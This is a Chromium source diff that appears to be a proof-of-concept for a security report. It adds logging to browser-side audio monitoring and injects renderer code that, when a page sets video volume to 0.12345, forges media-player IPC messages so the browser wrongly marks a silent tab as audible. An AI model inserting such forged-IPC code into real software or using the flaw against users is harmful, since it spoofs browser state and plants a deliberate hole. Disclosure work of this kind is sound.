diff --git a/content/browser/media/audio_stream_monitor.cc b/content/browser/media/audio_stream_monitor.cc index 68ec44f68896c..66251a17372a7 100644 --- a/content/browser/media/audio_stream_monitor.cc +++ b/content/browser/media/audio_stream_monitor.cc @@ -265,6 +265,10 @@ void AudioStreamMonitor::MaybeToggle() { if (should_indicator_be_on != indicator_is_on_) { indicator_is_on_ = should_indicator_be_on; + LOG(ERROR) << "[POC][browser] AudioStreamMonitor: indicator_is_on_ -> " + << indicator_is_on_ + << " (tab-strip speaker icon) / WasRecentlyAudible() -> " + << indicator_is_on_; web_contents_->NotifyNavigationStateChanged(INVALIDATE_TYPE_AUDIO); } diff --git a/content/browser/media/media_web_contents_observer.cc b/content/browser/media/media_web_contents_observer.cc index 291d9ea2e2f12..c4e1d7395b9e5 100644 --- a/content/browser/media/media_web_contents_observer.cc +++ b/content/browser/media/media_web_contents_observer.cc @@ -509,6 +509,9 @@ void MediaWebContentsObserver::MediaPlayerObserverHostImpl:: void MediaWebContentsObserver::MediaPlayerObserverHostImpl:: OnUseAudioServiceChanged(bool uses_audio_service) { + LOG(ERROR) << "[POC][browser] OnUseAudioServiceChanged(" << uses_audio_service + << ") accepted WITHOUT validation (no platform / " + << "MediaFoundation check)."; uses_audio_service_ = uses_audio_service; NotifyAudioStreamMonitorIfNeeded(); } @@ -572,6 +575,11 @@ void MediaWebContentsObserver::MediaPlayerObserverHostImpl:: media_web_contents_observer_->web_contents_impl()->audio_stream_monitor(); if (should_add_client && !audio_client_registration_) { + LOG(ERROR) << "[POC][browser] NotifyAudioStreamMonitorIfNeeded: " + << "IsAudible()=" << player_info->IsAudible() + << " uses_audio_service_=" << uses_audio_service_ + << " -> RegisterAudibleClient() (renderer-asserted state, " + << "no real audio output verified)."; audio_client_registration_ = audio_stream_monitor->RegisterAudibleClient(player_info->GetHostId()); } else if (!should_add_client && audio_client_registration_) { diff --git a/content/browser/web_contents/web_contents_impl.cc b/content/browser/web_contents/web_contents_impl.cc index 3955cfa2dfef7..bb7dd6319bbe0 100644 --- a/content/browser/web_contents/web_contents_impl.cc +++ b/content/browser/web_contents/web_contents_impl.cc @@ -2973,6 +2973,9 @@ void WebContentsImpl::OnAudioStateChanged() { // Update internal state. is_currently_audible_ = is_currently_audible; was_ever_audible_ = was_ever_audible_ || is_currently_audible_; + LOG(ERROR) << "[POC][browser] WebContentsImpl::OnAudioStateChanged -> " + << "IsCurrentlyAudible()=" << is_currently_audible_ + << " for URL=" << GetLastCommittedURL(); ExecutePageBroadcastMethod([is_currently_audible](RenderViewHostImpl* rvh) { if (auto& broadcast = rvh->GetAssociatedPageBroadcast()) { diff --git a/third_party/blink/renderer/core/html/media/html_media_element.cc b/third_party/blink/renderer/core/html/media/html_media_element.cc index df5d8d5f2a0bd..ca5812674b8d0 100644 --- a/third_party/blink/renderer/core/html/media/html_media_element.cc +++ b/third_party/blink/renderer/core/html/media/html_media_element.cc @@ -3292,6 +3292,41 @@ double HTMLMediaElement::volume() const { void HTMLMediaElement::setVolume(double vol, ExceptionState& exception_state) { DVLOG(2) << "setVolume(" << *this << ", " << vol << ")"; + // ===== POC INJECTION (compromised-renderer simulation) ======================== + // Triggered from JS via: video.volume = 0.12345 + // Sends a forged sequence of MediaPlayerObserver IPCs to the browser process + // claiming this player is audible and does NOT use the audio service. No real + // audio is ever produced. The browser blindly trusts these booleans and marks + // the tab "audible" (speaker icon + WasRecentlyAudible() == true). + if (vol > 0.12344 && vol < 0.12346 && GetDocument().GetFrame()) { + LOG(ERROR) << "[POC][renderer] Forging audibility IPC sequence " + << "(no real audio is being played)."; + // Step 1: register a fake media player with the browser if none exists yet. + if (media_player_observer_remote_set_->Value().empty()) { + mojo::PendingAssociatedRemote + poc_player_remote; + BindMediaPlayerReceiver( + poc_player_remote.InitWithNewEndpointAndPassReceiver()); + GetMediaPlayerHostRemote().OnMediaPlayerAdded( + std::move(poc_player_remote), AddMediaPlayerObserverAndPassReceiver(), + /*player_id=*/7777777); + } + // Step 2: send the four renderer-controlled booleans. + for (auto& observer : media_player_observer_remote_set_->Value()) { + observer->OnMediaMetadataChanged(/*has_audio=*/true, /*has_video=*/true, + media::MediaContentType::kPersistent); + observer->OnMutedStatusChanged(/*muted=*/false); + observer->OnUseAudioServiceChanged(/*uses_audio_service=*/false); + observer->OnMediaPlaying(); + } + LOG(ERROR) << "[POC][renderer] Forged IPCs sent: " + << "OnMediaMetadataChanged(has_audio=true) / " + << "OnMutedStatusChanged(false) / " + << "OnUseAudioServiceChanged(false) / OnMediaPlaying()"; + return; + } + // ===== END POC INJECTION ===================================================== + if (volume_ == vol) return;